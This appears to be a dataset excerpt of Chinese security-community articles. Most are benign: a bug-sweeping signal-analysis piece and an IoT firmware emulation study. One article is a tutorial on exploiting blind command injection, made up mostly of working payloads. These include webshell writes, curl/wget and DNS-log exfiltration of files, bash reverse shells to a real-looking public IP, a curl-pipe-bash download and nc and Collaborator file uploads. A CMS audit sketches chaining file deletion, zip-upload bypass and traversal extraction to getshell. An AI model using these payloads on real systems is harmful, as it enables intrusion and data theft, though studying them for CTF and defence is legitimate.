text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 真实信号分析故事01 | 3G，你比4G少1G？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**篇首语：** 一直以来，无线信号频谱分析及溯源，都是 **TSCM专业物理安全检测**
中非常重要的一环，疏漏掉任何微弱的可疑信号都可能造成不可预料的后果，而现实中，实际情况可能会更加复杂。
上个月， **RC2** 在给一家跨国企业提供物理安全检测服务时， **RC2 TDU检测小组**
的无线专家，仅信号分析溯源就在CEO办公室里耗费近2个小时。
有感于目前国内普遍对检测能力不够理解，本期由 **RC2反窃密实验室** 的无线频谱专家南哥，带来第一篇科普小文：“ **3G，你比4G少1G？** ”
**声明：以下内容均为RC2 反窃密实验室原创图文，仅供交流与参考，行业齐红们请自重。**
## 01 现在还有移动3G 信号吗
南哥：突然想起来3G刚开通的时候，实验室的小可爱在纠结了三大运营商的套餐之后，最终选了一个可以免费看移动电视的手机。
春暖花开，人见人爱。
近期有不少小伙伴被就地办公，趁着有空档期，有人赶紧翻出看短视频买的无线检测设备，决定给办公环境进行一次扫除。
咦？杨叔，南哥，现在还有移动3G的信号吗？这个什么号称乌克兰的检测设备上显示3G信号快满格了，怎么走哪儿亮哪儿啊？！
额，亲爱的达瓦里氏，哦不，这位同学，中国移动早在2020年，就宣布完成了3G退网，已经没移动3G信号了哦，如果真的有反而是需要警觉了。
至于是不是误报，嘿嘿，这就要聊聊设备原理了。
首先，此类设备并不是通过分析信号特征，而是通过分析信号占用了运营商的哪一段频率来判断GSM还是3G，或者LTE信号；
其次，每个国家、地区针对运营商都有不同的管理体系，由于我国对运营商开展了频谱重耕工作，所以这个舶来品就会出现严重的“水土不服”。
说到这里，告诉大家一个小秘密：
**这类手持设备由于只监测运营商部分频段的信号，所以还会漏掉不少信号滴。**
想起几年前，某大厂的安全部门同学，秀了一箱淘宝上购置的所谓反窃听检测设备，那些最高也就2K左右的民用品，在TSCM专家看起来，确实有些“惨不忍睹”。
值得庆幸的是，真正专业的，经过使馆级检测考验的手持设备，学员们都能在Level-2课程中亲手体验到：）
## 02 知道什么是频谱重耕吗？
给大家分享两张全球某知名设备供应商的自动监测信号频谱表。
嗯，报表看起来倒是很清晰的样子。
不过实际上，实测这段信号到底长啥样呢？
纳尼！？
设备报表告诉我：中间那个蓝胖子和右边那一堆蓝瘦子是一样的2G信号！？
中间那个蓝胖子明明是4G信号好嘛！
来都来了，
再多看一眼800MHz的中国电信CDMA信号嘛。
咦？
怎么又和剧本写的不一样？
啊！啊！啊！到底是什么信号？怎么办，客户正在旁边看着呢，让我在线搜个理由先
客户：咳咳，我读书少，你特么可别骗我！
**RC2 友情提醒企业客户** ：单纯对照运营商频段判断是否2/3/4/5G的信号，是极其不负责任的外行行为。
尤其是周围环境中出现了通用信号的非常规用法，是难以通过对照频率划分表进行直接甄别的。
类似地，在开源无线安全学习中，对信号的有效解读一直都是研究员们最大的困惑。
这也是我们为何要在 **PPES-105/106专家课程** 里，专门加入深度学习手持频谱仪及室内信号定位的原因。
嘿嘿嘿，想到却看不到，看到却不知道，想不到能看到。
最后，大家猜猜看：
**下面这个，又是什么信号呢？**
**——-END——-**
杨叔：希望本篇可以提醒各位负责企业安全、内控、行政部门的朋友们，安全无小事，物理安全更是如此。
**RC2** 衷心希望企业安全部门，在做好防疫防控措施保护好自身的前提下，能参考检测服务后的咨询建议，落实对商业环境的安全升级。 | 社区文章 |
### 前言
在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞，为了能更好的实现对无回显命令执行漏洞的利用，我对此进行了简单总结。
### 判断方法
命令执行可能会存在命令执行但没有回显，所以首先要判断命令是否有执行。确定命令可以执行，然后就可以进行无回显命令执行的利用了。
#### 1、审计代码
审计代码，根据代码逻辑判断(这个就需要扎实的审计代码能力的功底了)
#### 2、利用延时
ip=|sleep 5
如果执行后延时5秒，就证明测试点存在命令执行漏洞
#### 3、HTTP请求
> 注意：ping命令不会产生http请求
**1.在公网服务器监听监听端口**
nc -lp 4444
**2.向目标服务器发起http请求，执行curl命令**
ip=|curl ip:4444
如果向目标服务器发起http请求后，公网服务器监听端口得到一些信息，就证明测试点存在命令执行漏洞。
#### 4、DNS请求
>
> 如果请求的目标不是ip地址而是域名，那么域名最终还要转化成ip地址，就肯定要做一次域名解析请求。那么假设我有个可控的二级域名，那么它发出三级域名解析的时候，我这边是能够拿到它的域名解析请求的，这就相当于可以配合DNS请求进行命令执行的判断，这一般就被称为dnslog。（要通过dns请求即可通过ping命令，也能通过curl命令，只要对域名进行访问，让域名服务器进行域名解析就可实现）
> 来源：安全脉搏
（1）首先去`ceye.io`注册个账号，注册完后会给一个域名
我注册后给的域名是`v4utm7.ceye.io`
（2）如果有域名解析请求就会被记录。访问`qwzf.v4utm7.ceye.io`，那么就会记录下来这个域名解析请求。
简单测试一下向目标服务器发起http请求，执行下面的命令
ip=|curl `whoami`.v4utm7.ceye.io
查看dnslog
若果得到执行结果(如上面执行`whoami`命令，得到`www-data`)，就说明测试点存在命令执行。
### 利用方法
了解了无回显命令执行的判断方法后，当然是还需要了解学习一下无回显命令执行的利用方法。
但测试利用方法之前，首先要准备一下环境。于是我写出下面的测试代码进行利用测试：
`index.php`
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
include("flag.php");
$ip=$_REQUEST['ip'];
if($ip){
shell_exec("ping -c 4 ".$ip);
}
?>
#### 1、执行命令
> 利用条件：需要站点目录具有写权限
通过执行命令，直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件)，然后访问txt文件即可得到php文件内容
**1.使用`>`或`>>`**
cat flag.php > flag.txt
cat flag.php >> flag.txt
**2.使用`cp`命令**
cp flag.php flag.txt
**3.使用`mv`命令**
mv flag.php flag.txt
通过执行tar命令和zip命令打包或压缩php文件，在浏览器上下载打包或压缩文件解压得到php文件内容
（1）tar打包或tar打包并压缩
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
#解打包并解压缩：tar zxvf flag.tar.gz
解打包得到flag：
（2）zip压缩
zip flag.zip flag.php
#解压缩：unzip flag.zip
等等。
#### 2、写webshell(直接写入或外部下载webshell)
> 利用条件：需要站点目录具有写权限
**1.写webshell**
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
**2.外部下载shell**
> 利用条件：目标服务器可以连接外网或可以与攻击机互通，且能执行wget命令
wget 网址 -O webshell.php #使用wget下载shell，使用参数-O来指定一个文件名
利用命令执行写webshell或外部下载webshell后，用蚁剑连接测试，发现成功
然后在蚁剑里直接查看flag.php文件，即可得到flag。
#### 3、在vps上建立记录脚本
> 利用条件：需要目标服务器可以向公网服务器发起http请求，并且能执行curl命令或wget命令
**1.构造记录脚本**
在自己的公网服务器站点根目录写入php文件，内容如下：
`record.php`
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>
**2.构造请求**
在目标服务器的测试点可以发送下面其中任意一条请求进行测试
curl http://*.*.*.**/record.php?data=`cat flag.php`
wget http://*.*.*.*/record.php?data=`cat flag.php`
**3.测试**
执行命令后发现在公网服务器得到的`flag.txt`文件中，只得到下面内容，并未得到flag
于是考虑对命令执行的结果进行编码后写入`flag.txt`文件
curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
最终得到
Base64解码即可得到flag。
#### 4、通过dnslog带出数据
> （1）命令执行时要避免空格，空格会导致空格后面的命令执行不到；
> （2）将读取的文件命令用反引号``包含起来；
> （3）拼接的域名有长度限制。
利用命令：
curl `命令`.域名
测试一下命令
#用<替换读取文件中的空格，且对输出结果base64编码
curl `cat<flag.php|base64`
#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.v4utm7.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io
利用dnslog，查看文件内容(flag.php文件内容)
base64解码得到flag
#### 5、反弹shell
> 利用条件：目标服务器可以向可通信的公网服务器发起http请求
>
> 1.服务器端执行
> nc -vv -lp 8888
> 2.命令执行处执行
> bash -i >& /dev/tcp/47.95.206.199/8888 0>&1
> 3.payload
> ip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/47.95.206.199/8888+0>%261
> 注意：百度搜索到的基本上都是上边这个方法，但经过测试并未成功。于是想到以前见过的一种方法
#1.首先在公网服务器使用nc命令监听端口
nc -lvp 4444 #或nc -vv -lp 4444
#2.然后在公网服务器上写一个文件(我写入到qwzf文件)，内容是下面命令
bash -i >& /dev/tcp/x.x.x.165/4444 0>&1
#3.最终浏览器上执行的payload(实际上就是在目标机执行curl x.x.x.165:8002/qwzf|bash)
ip=|curl x.x.x.165:8002/qwzf|bash
#### 6、msf反向回连
> 利用条件：目标服务器可以向可通信的公网服务器发起http请求
**1.远程服务器用msf监听：**
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 4444
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
**2.目标服务器执行下面命令**
ip=|bash -i >& /dev/tcp/xxxxx(vps公网ip)/4444 0>&1
#如果上面这条命令在浏览器上执行失败。那么要将上面这条命令写入公网服务器上的一个文件中，在msf开始监听后，在测试点执行下面命令
ip=|curl x.x.x.165:8002/qwzf|bash
**3.公网服务器接收shell**
目标服务器上执行命令后，会在公网服务器上接收到，然后在公网服务器上执行以下命令getshell
sessions -i 1
shell
然后`cat flag.php`得到flag。
#### 7、使用nc
> 利用条件：要求目标服务器也有nc工具
#1.公网服务器监听4444端口
nc -tlp 4444
#2.目标服务器执行如下命令
ip=|nc -t x.x.x.165 4444 < flag.php
-u参数调整为udp,当tcp不能使用的时候使用
#1.公网服务器监听4444端口
nc -ulp 4444
#2.目标服务器执行如下命令
ip=|nc -u x.x.x.165 4444 < flag.php
#### 8、curl上传文件读取源码
> 利用条件：目标服务器curl命令可以正常执行
>
> 使用`curl -F`将flag文件上传到Burp的Collaborator Client(Collaborator Client
> 类似DNSLOG，其功能要比DNSLOG强大，主要体现在可以查看POST请求包以及打Cookies)
**1.获取`Collaborator Client`分配给Burp的链接**
打开Burp主界面 -> 菜单（Burp）-> Collaboraor Client -> 点击
Copy to Clipboard
Copy得到
jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
**2.拼接payload并在命令执行处提交**
ip=|curl -X POST -F xx=@flag.php http://jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
**3.查看Collaborator Client收到的数据**
成功得到flag。
### 写在后面
学习过程中，发现参考资料个别地方存在一些小错误(估计是测试环境不同导致的)，并且有些地方不太完善。于是，自己通过测试和分析后，总结了这篇文章，希望能更好的学习无回显命令执行的利用。
### Referer
[命令执行没有回显利用](https://www.cnblogs.com/hello-py/articles/13385679.html)
[无回显代码执行利用方法](http://www.admintony.com/%E6%97%A0%E5%9B%9E%E6%98%BE%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95.html)
[命令执行无回显的判断方法及dnslog相关例题](https://www.secpulse.com/archives/115970.html)
[dnslog利用](http://blog.merl1ng.cc/2018/03/02/dnslog%E5%88%A9%E7%94%A8/) | 社区文章 |
**作者：lylemi
原文链接：<https://blog.lyle.ac.cn/2021/07/09/uemu/>**
## 0\. 引言
对物联网设备中的应用程序进行模糊测试时，直接使用实体设备进行测试是一种比较直接的方法，但是实体测试会带来较高的测试成本，也无法自动化地对待测目标进行测试。考虑到实体设备测试面临的限制，使用虚拟化技术对设备进行测试是一种方案，但是直接使用QEMU仿真并不能保证成功测试目标程序，本文尝试对其中的原因进行分析，并提出一种相对通用的解决方案模型。
物联网设备分为多种类型，本文的测试目标主要考虑使用通用操作系统的设备，即拥有轻量级用户空间环境如busybox、uClibc等的Linux类设备环境。在这类设备的环境中，与定制硬件进行的交互大部分是通过特定的设备驱动进行的。
本文分为几个部分，可以按需阅读，第一部分介绍了当前工作，说明在有firmadyne、qiling等强大的工具下为什么还需要有新的仿真工具；第二部分说明了本文解决问题的思路；第三部分对具体实现的一些细节进行说明；最后一部分基于实现完成了一些小规模的实验，说明了本文的仿真能力。如果只是想对本文思路有简单的了解，可以阅读
`TL;DR` 部分。
### TL;DR
本文提出的方法在用户层对物联网设备中的网络服务进行仿真用于测试，通过对系统调用分类并在驱动层建立设备模型的思路，实现了成功率较高、相对泛用且易扩展的一种仿真方案。
## 1\. 当前工作
### 1.1 仿真类型
仿真的方法可以分为四种类型：全系统仿真、用户态仿真、应用级仿真、代码片段仿真。全系统仿真对整个设备的操作系统进行仿真，运行操作系统的所有组件。用户态仿真，也可以称作进程级仿真，最常见的仿真方式就是使用chroot改变根目录到固件文件系统的目录下，并使用仿真工具的用户模式执行待测程序。
应用级仿真是指并不执行程序，而是仅仅加载网络应用对应页面的方式。最简单的应用级仿真是直接用对应架构的操作系统系统，将网页文件复制出来，使用常用的网络服务启动。但是这种方式会丢失过多的细节，另外很多固件使用了自定义的脚本语言函数来获取硬件配置的信息，因而通过这种方式只能对HTTP服务进行仿真，且只能检测相当有限的漏洞类型，例如命令注入、跨站脚本攻击等。
代码片段仿真则只执行二进制文件中的一部分代码，使用Patch、预设数据等方式使得代码可以正常执行。
### 1.2 仿真工具
在目前，需要仿真这类设备时，通常使用的工具为QEMU、Unicorn等，在这些工具之上有Firmadyne、Qiling等相对完善的框架。QEMU提供用户模式和系统模式两种运行方式，用户模式主要用于执行不同处理器的Linux程序，系统模式用于模拟整个系统运行环境，包括CPU及其他设备，使得系统级的测试更为方便。
在QEMU的基础上，Firmadyne倾向于对整个系统进行仿真，主要考虑解决QEMU在仿真物联网设备时遇到的难点。Firmadyne以系统级仿真为基础，使用定制动态链接库完成库函数劫持支撑NVRAM设备调用，基于定制内核完成操作系统启动、探测网络结构、虚拟硬件，通过系统配置完成网络构建，最后调用QEMU仿真异架构操作系统完成仿真。
但是Firmadyne的方法存在一定的局限性，在Firmadyne获取的23035个固件中，其中8617个固件可以成功解包，在解包成功的固件中有8591个固件能够成功启动系统，成功启动系统的固件中只有2797个可以成功配置网络，最后只有1971个固件可以访问网络。在所有能解包的固件中，仅有22.9%的固件可以通过网络访问，即可以对其进行测试。根据Firmadyne论文中的解释，不能成功仿真主要是因为提取固件失败、NVRAM仿真失败、网络设备仿真失败等原因。
Qiling提供了非常强大的跨平台与跨架构的二进制仿真能力，可以对二进制文件或者代码片段进行仿真，可以进行自动化patch。但是并不是物联网设备专用的工具，在仿真设备时仍需要一定的手动分析。
虽然当前工具已经解决了很多问题，但是但是在测试目标上仍然有局限性。如果要对型号多样的物联网设备进行测试，需要找到一种较为合适的仿真方式。在已有工具的基础上，本文尝试提出一种仿真成功率高、更容易调试与扩展的方案，可以更简单的对物联网设备中的二进制文件进行仿真，从而进行测试。
## 2\. 问题分析与解决
### 2.1 面临挑战
比较泛泛的讲，物联网设备难以仿真的主要原因是运行环境复杂，设备由很多不同厂商生产，仅路由设备常见的厂家就超过四十余家。而各个厂商会提供不同系列和型号的产品，不同产品又使用各种不同的硬件、指令集架构、操作系统、网络协议。其中部分产品依赖自研的外部设备，部分产品会对操作系统进行深度自定制，网络协议可能会有自研的通信格式，最后衍生出复杂的软硬件依赖问题。尤其是物联网设备的自研部分往往是闭源的，各个厂商对协议、外部设备有不同标准和实现，这些非标准的协议和设备实现多不公开，继续加大了仿真的困难程度。
更具体来说，可以把二进制程序的执行分为两部分，用户态和内核态。用户态的指令可以由通用的仿真工具来翻译执行，而最终进入内核态的系统调用需要进一步构建执行环境解决。也就是说，仿真要解决的问题实际是如何执行系统调用的问题。
而在具体的仿真方案选择上，全系统仿真引入了不必要的复杂性，应用级仿真缺少细节，代码片段仿真更适合测试一部分功能或调试漏洞，因此本文的目标是通过构建合适的系统调用模型来在用户态执行物联网设备中的二进制程序。
### 2.2 解决模型
系统调用有很多种分类方式，其中一种分类方式是将系统调用分为进程控制、文件管理、设备管理、信息维护、通信、保护六大类，本文在这个分类的基础上继续对问题进行解决。
进程控制类系统调用主要用于完成创建进程、终止进程、载入与执行进程、获取进程属性、等待时间事件与信号、申请与释放内存等功能。文件管理类系统调用主要用于完成创建删除文件、打开关闭文件、读写文件、读取或设置文件属性等功能。设备管理类系统调用主要用于完成获取与释放设备实例、读取或设置设备属性、挂载或卸载设备等功能。信息维护类系统调用主要用于传递信息，例如当前的事件、日期、用户数、操作系统版本、内存或磁盘信息等。通信类系统调用负责进程间通信，实现常用的消息传递模型和共享内存模型等功能。保护类系统调用负责设置资源权限，用于允许和拒绝用户访问特定资源。
其中信息维护、通信、保护间通信三类系统调用宿主机可以较为容易的支撑，而其他几类系统调用在从模拟器环境向宿主机环境转发时则存在如下图所示的几个需要解决的问题。
#### 2.2.1 文件管理
进程在执行时，会需要进程本身的可执行文件、可执行文件对应的动态链接库文件、用于配置程序的配置文件，以及用于写入临时文件、日志文件、进程当前信息的目录等文件与目录环境。在仿真时通常会通过加载原本固件的文件系统的方式来构建文件系统的运行环境，但是在由于设备固件并不遵循统一的标准，提取出的文件系统可能并不完整，会存在部分文件无法找到的情况。另外，有的文件由设备在运行时动态创建，简单的文件系统提取并不能获取对应的文件。
#### 2.2.2 设备管理
物联网设备通常需要大量的外部硬件设备参与运行，主要是运算与控制设备、网络设备、存储设备与输入输出设备。模拟器仅对常见的硬件设备进行了支持，其中包含了运算与控制设备、部分内存与磁盘设备、部分输入输出设备。但是物联网设备中存在着大量的定制外部设备，如定制的NVRAM、Flash存储设备、网络设备等，在执行到和这些设备相关的系统调用时，可能会面临缺少输入输出设备与网络设备，设备的硬件调用宿主机不支持等问题。
#### 2.2.3 进程控制
待测的可执行程序和宿主机大多是不同架构的，需要通过模拟器执行。而在通过用户态模拟执行新的程序时，由于系统调用被转发到了宿主机，宿主机将以正常的进程加载方式加载程序，但是不同架构的程序在默认场景下并不受宿主机支持，此时程序无法被执行，父进程报错终止。
## 3\. 具体实现
### 3.1 系统调用劫持
系统调用劫持主要是基于ptrace控制系统调用，在一些检查环境的系统调用处实现控制，获取相关信息的同时屏蔽一些不重要的报错，使得程序可以正常运行。
基于ptrace的方案的缺点在于性能消耗较高，每次系统调用都需要有对应的逻辑判断。为了减少这种消耗，在长期测试时可以根据收集到的信息生成对应的内核模块代码，编译为内核模块，在后续需要屏蔽、修改部分系统调用或用户态调用的情况下，使用基于Linux内核模块控制系统调用的方案完成持久化。
### 3.2 设备文件系统重建
进程运行所需要的文件主要是进程本身的可执行文件与对应的链接库文件，系统的设备与配置文件，进程的配置文件与进程在运行时产生的进程信息、日志文件、临时文件几种类型的文件。其中从固件提取出的文件系统包含有可执行文件、动态链接库文件、操作系统的配置文件，正常情况下，操作系统在启动后会创建系统的设备文件、用于写入日志文件的目录与各个程序的配置文件。
满足文件依赖从下至上分为四个层次来对缺失的文件进行补全，第一层挂载固件文件系统，这一层是执行的基础；第二层根据运行时信息动态创建缺失的文件，这一层在可执行文件的基础上创建部分所需的文件；第三层覆盖特定的系统配置文件，这一层用于对配置进行归一化方便进行后续的测试；第四层是根据对指纹、配置文件的解析创建应用对应的配置文件，这一层是在之前的基础上进行细节的修正，保证待测程序可以正常运行。
用于挂载的文件系统来自于之前通过解包固件获取的文件系统，主要包括可执行的二进制文件与对应的动态链接库。
动态创建的文件主要是本应在Linux系统启动时创建的文件，主要是 var
目录下的多个子目录与文件，proc、sys、dev等目录，这些文件与目录在待测程序启动前进行通过宿主机进行创建或挂载。
之后覆盖系统基本的配置文件，这类文件可能存在于固件中或不存在，但是格式都是已知的。系统基本的配置文件包括passwd、shadow等用户相关的配置、DNS服务器等网络相关的配置，还有TZ、localtime等时间相关配置。因为固件生态的多样性，这些文件可能存在自定义的部分，为了测试环境的统一化，本文使用预置的系统配置文件对这些文件进行覆盖。
最后一部分是动态运行所需要的内容，主要是不同类型的服务需要不同的配置文件，同一类型不同实现的服务也需要不同的配置文件，这些配置文件往往是根据设备状态动态创建出来的，并不存在于固件中。不同类型的服务器例如DNS服务启动所需要的dnsmasq.conf，PPTP服务启动所需要的pptdp.conf，SMB服务启动所需要的smb.conf。同一类型的服务也存在不同实现，以HTTP协议为例，存在lighttpd、mini_httpd、mathopd等多个大类的实现，不同应用所需要的配置类型和位置是不同的。
对于同一类型不同实现的服务，本文根据程序的类型和当前环境动态创建配置文件，执行文件并进行测试。如果程序执行成功则保留该配置文件，如果执行失败则尝试其他参数与配置文件。如果预置的配置文件不能成功，则分析固件中的系统脚本，主要是初始化文件，从中找出配置文件的生成方式与程序的执行参数，并进行相应的执行来创建配置文件。
### 3.4 基于定制内核模块的硬件模拟
用户进程和硬件的交互过程如下图所示，用户态程序加载动态链接库，动态链接库根据标准用户库中的标准输入输出相关的函数构造对应的系统调用转发到内核层，内核根据系统调用对应执行设备驱动中的代码。
对于缺少外部设备的问题，Firmadyne的解决方案是通过自定义的用户态动态链接库在软件层劫持相关的调用来实现。Firmadyne自定义了用户态的动态链接库，通过预加载的方式通过该链接库控制对硬件的调用，当用户态应用调用对应函数的时候，会优先调用自定义的用户态标准库，从而实现用户态的NVRAM功能。
但是这种方式存在几个问题，首先，基于劫持的方式需要了解上层应用调用的函数名称，Firmadyne仅仅通过枚举来解决，一旦遇到没有在枚举列表中的函数，运行就会出现错误。其次，这种方式仅支持NVRAM一种设备，可扩展性差，无法适应其他的设备。另外，对于每一种架构，这种方式都要编译一个对应的动态链接库文件，需要维护多套编译环境。
考虑到Firmadyne的缺陷，本文主要使用定制内核模块的方式来实现虚拟的设备。在Linux操作系统中，硬件设备也被看做文件来处理，有对应的文件标准操作。除此之外，在Linux的设计中，驱动定义的标准仅有数次比较小的修改，可以较为容易的枚举出所有的驱动操作。具体来说，POSIX的内核驱动标准中仅定义了read、write、ioctl等数种意义较为明确的硬件操作，也在一定程度上减轻了实现的难度。本文最后根据驱动定义标准设计内核模块，对于每一种设备，以内核驱动的方式，模拟实现文件的标准操作，通过定制内核模块完成外部设备的软件形式实现。
根据Firmadyne的分析，52.6%的固件都通过用户态链接库访问了NVRAM，大部分固件的核心设备也以NVRAM为主，因此本文同样主要关注NVRAM的实现。NVRAM可以看作一个硬件实现的哈希表，用户可以通过键值对的形式向NVRAM写入需要存储的变量，也可以通过输入特定的KEY值来读取之前存储的数据。基于NVRAM的输入输出特点，本文在软件层进行了一个哈希表的实现，并完成了对应的驱动，加载驱动后，设备可以按照正常的NVRAM调用方式进行运行。和Firmadyne相比，本文的实现方式更加通用，且能够更好的处理系统调用的情况。
在本文的实现方式下，每种设备仅需要对应实现几个驱动的函数即可，不需要适配同一设备的不同用户态调用。另外因为本文的硬件实现最后挂载在宿主机中，系统调用的翻译已经在用户态模拟完成，所以这种方式并不需要对不同的架构进行适配。
除了I/O设备之外，物联网设备可能会依赖一些特定的网络外设，这部分本文在基于系统调用劫持获取信息的基础上，创建一张对应名称和IP的网卡，并使用桥接的方式和本地网卡连接，以用于后续的测试中。
除了IO设备与网络设备，还有类似LED等少数附加设备，这些设备通常有专门的可执行文件控制，网络服务程序并不直接和这些设备进行交互，对于这部分设备，本文使用前文中提到的系统调用劫持直接屏蔽对应的系统调用。
### 3.5 进程透明启动
如前文中提到的，部分进程在执行时会进行execve、fork等系统调用操作，而因为本文使用了转发系统调用到宿主机的方式，在使用这些系统调用时，进程会脱离模拟器环境，由操作系统来执行程序。
操作系统加载可执行文件时，会默认按照宿主机架构加载程序代码，进行解释执行。显而易见的，宿主机在默认情况下无法处理异架构的程序，对于这个问题，本文提出了一种基于内核配置的跨架构进程透明启动技术。
无论用户层使用什么方式创建一个新进程，最后都会通过execve等系统调用传递信息至操作系统，由操作系统内核寻找对应格式的处理器来执行对应的进程。本文注册内核的执行函数，在涉及execve、fork脱离模拟器环境时调用execve时进行判断，如果当前载入的程序并非宿主机架构的程序，则载入对应的模拟器环境加载该程序用于执行，防止程序脱离当前定制的用户态仿真环境执行。
关于其中具体工具的使用和配置，可以参考这篇[文章](https://blog.lyle.ac.cn/2020/04/14/transparently-running-binaries-from-any-architecture-in-linux-with-qemu-and-binfmt-misc/) 。
## 4\. 实验数据
为了验证仿真工具的能力，设计了一些简单的实验进行测试。本文主要使用网页爬取与FTP同步的方式，基于网页的爬虫自动解析厂商的固件下载页面并下载固件；基于FTP同步的方式主要同步厂商FTP中与固件相关的文件，例如后缀是zip、bin、pkg等结尾的固件。另外考虑到实验的多样性，也手工下载了一些品牌的固件用作实验。
经过爬取，本文一共得到来自46个厂商的14483个固件作为测试集，用于验证测试模式的产生效率以及实际的测试实验。固件数据集中比较多数的是路由设备的固件，也包含一些摄像头、NAS的固件。固件中包含i386、ARM、MIPS、PowerPC，并有对应的32位、64位、大小端等多种不同架构。由于不同厂商对固件开放的程度不同、产品数量不同，在数据库中部分厂商如D-Link、TP-Link等厂商的固件占了较大的比例。
总计爬取了14483个固件，其中因为文件格式没有成功识别、解压缩或解密错误、固件中不包含正常可执行文件等原因，有6495个固件不能正确解包，本文对正确解包的7989个固件进行实验。
以应用程序为维度衡量仿真能力，本文判定应用程序是否仿真成功的标准为：使用编写好的测试程序发送对应协议的请求报文，对应端口返回了协议对应的正确响应时，认为仿真成功，否则认为仿真失败。
基于这个标准，本文对仿真成功的程序架构与类型分别进行了统计，在仿真成功的程序中，各个架构程序的数量如下表所示。由于有大量的固件使用了同样的可执行文件，本文在统计中分别统计了执行成功的程序数量与根据哈希去重后的程序数量。
架构 | 位长 | 大小端 | 程序数量 | 去重后数量
---|---|---|---|---
arm | 32 | big | 857 | 13
arm | 32 | little | 730 | 89
i386 | 32 | little | 767 | 8
mips | 32 | big | 19472 | 629
mips | 32 | little | 9445 | 469
mips64 | 64 | big | 40 | 11
powerpc | 32 | big | 60 | 4
在仿真成功的程序中，程序数量如下表所示，因为每个固件中存在的程序数量与类型不同，所以在表中，不同程序的数量和比例有所不同。其中部分程序对应的比例较小，这是由于不是所有固件都带有对应的功能，例如只有小部分固件存在UPnP相关的服务程序，而大部分的固件中都存在DNS相关的服务程序。
程序名称 | 程序数量 | 去重后数量
---|---|---
dnsmasq | 7610 | 147
hnap | 12 | 3
httpd | 6899 | 181
lighttpd | 90 | 42
miniupnpd | 84 | 26
smbd | 866 | 120
telnetd | 7728 | 399
tftpd | 144 | 43
udhcpd | 7894 | 245
utelnetd | 44 | 17
没有仿真成功的测试程序有几种原因，一种原因是部分程序在启动时会对系统环境做详尽的检查，如检查运行进程、检查系统各种参数，当有一些条件没有满足时程序会退出，由于有一部分检查在可执行程序内部完成，不涉及到外部的调用或函数，本系统的技术不能控制，导致本系统不能成功的仿真。一种原因是部分程序依赖的设备较为特殊，是本文尚未实现的设备，在这种条件下本文也不能很好的进行仿真。
## 5\. 后记
### 5.1 本文缺陷
本文通过对物联网设备模糊测试技术的研究，实现了对物联网设备中的网络应用程序进行仿真的目的。但是，本文的实现总体来说比较粗糙，有很多没有自动化或者不完善的部分，主要作为一种仿真的思路提出以供后来的研究者参考。
### 5.2 模糊测试工作
在完成仿真后，要继续的工作是对仿真成功的二进制文件进行模糊测试，在仿真的基础上，还需要解决三个问题。即如何对网络程序进行测试、如何获取覆盖率反馈信息、如何对格式敏感的程序进行测试，对应的文章会在后续放出。
### 5.3 开源计划
由于当前代码结构比较混乱、缺少文档，目前没有开源的计划，如果感兴趣的朋友比较多，等整理好代码后可能会通过这个
[repo](https://github.com/LyleMi/UEMU) 开源。
## 6\. 参考链接
### 6.1 工具
* [QEMU](https://github.com/qemu/qemu)
* [Qiling Advanced Binary Emulation Framework](https://github.com/qilingframework/qiling)
* [Unicorn CPU emulator framework (ARM, AArch64, M68K, Mips, Sparc, X86)](https://github.com/unicorn-engine/unicorn)
* [firmadyne](https://github.com/firmadyne/firmadyne)
### 6.2 论文
* Towards Automated Dynamic Analysis for Linux-based Embedded Firmware
* AVATAR: A Framework to Support Dynamic Security Analysis of Embedded Systems' Firmwares
* HALucinator: Firmware Re-hosting Through Abstraction Layer Emulation
* P2IM: Scalable and Hardware-independent Firmware Testing via Automatic Peripheral Interface Modeling
* * * | 社区文章 |
**前言**
本文审计出现的漏洞已提交CNVD,该CMS前后出现好几个漏洞，也有的至今仍未修复，果然，最新版仍然存在变量覆盖问题，本文由前台到getshell，前提也在于此。在审计过程中发现了多个问题，主要归结为文件操作、和变量覆盖所导致的getshell。变量覆盖前后也出现不止一处，若发现与之前有所雷同敬请忽略。本文主要对审计过程进行一个详述与学习。整个审计历程从一开始后台再到前台，getshell由组合利用前后台漏洞所至。
**声明：** 由于CNVD漏洞公开时间上的延迟问题，关键位置将作打码，也请勿将本文出现的漏洞恶意利用。
## 后台
### 1\. 任意文件删除
漏洞出现在后台备份恢复功能删除zip处，对应的文件为`***fo/app/system/databack/admin/index.class.php`的821~836行从代码中可以看到$file可控且未进行过滤可进行任意目录遍历
漏洞复现
### 2.文件上传
文件上传漏洞也是也是出现在数据库备份恢复时，追踪对应文件上传功能点处，具体为upfilety.php文件的269行开始处，上传type为sql时执行，而默认type为sql，上传的后缀限制为sql和zip,若为压缩包zip程序进行解压判断压缩包里的文件是否为sql文件，而漏洞正是发生在此处位置代码312~328行处，当zip里面的文件非sql文件时并未终止上传，继续判断然后输出压缩包里的文件非sql文件，上传完成后，输出提示信息再exit退出。整个上传逻辑判断存在问题，因此可通过zip上传任意文件。（在审计此处时看到代码的320行处后缀（houzhui）开发竟然写为houzui了，普通话~）
压缩包校验
### 3.跨目录解压
此漏洞原理与1，2类似不在进行详述。主要看如下代码，$file可控且未过滤../
通过组合2和3即可将php后门上传至服务器完成getshell.
### 4.变量覆盖
位置：admin/login/login_check.php，此处加载了 /admin/include/common.inc.php
图14
/admin/include/common.inc.php
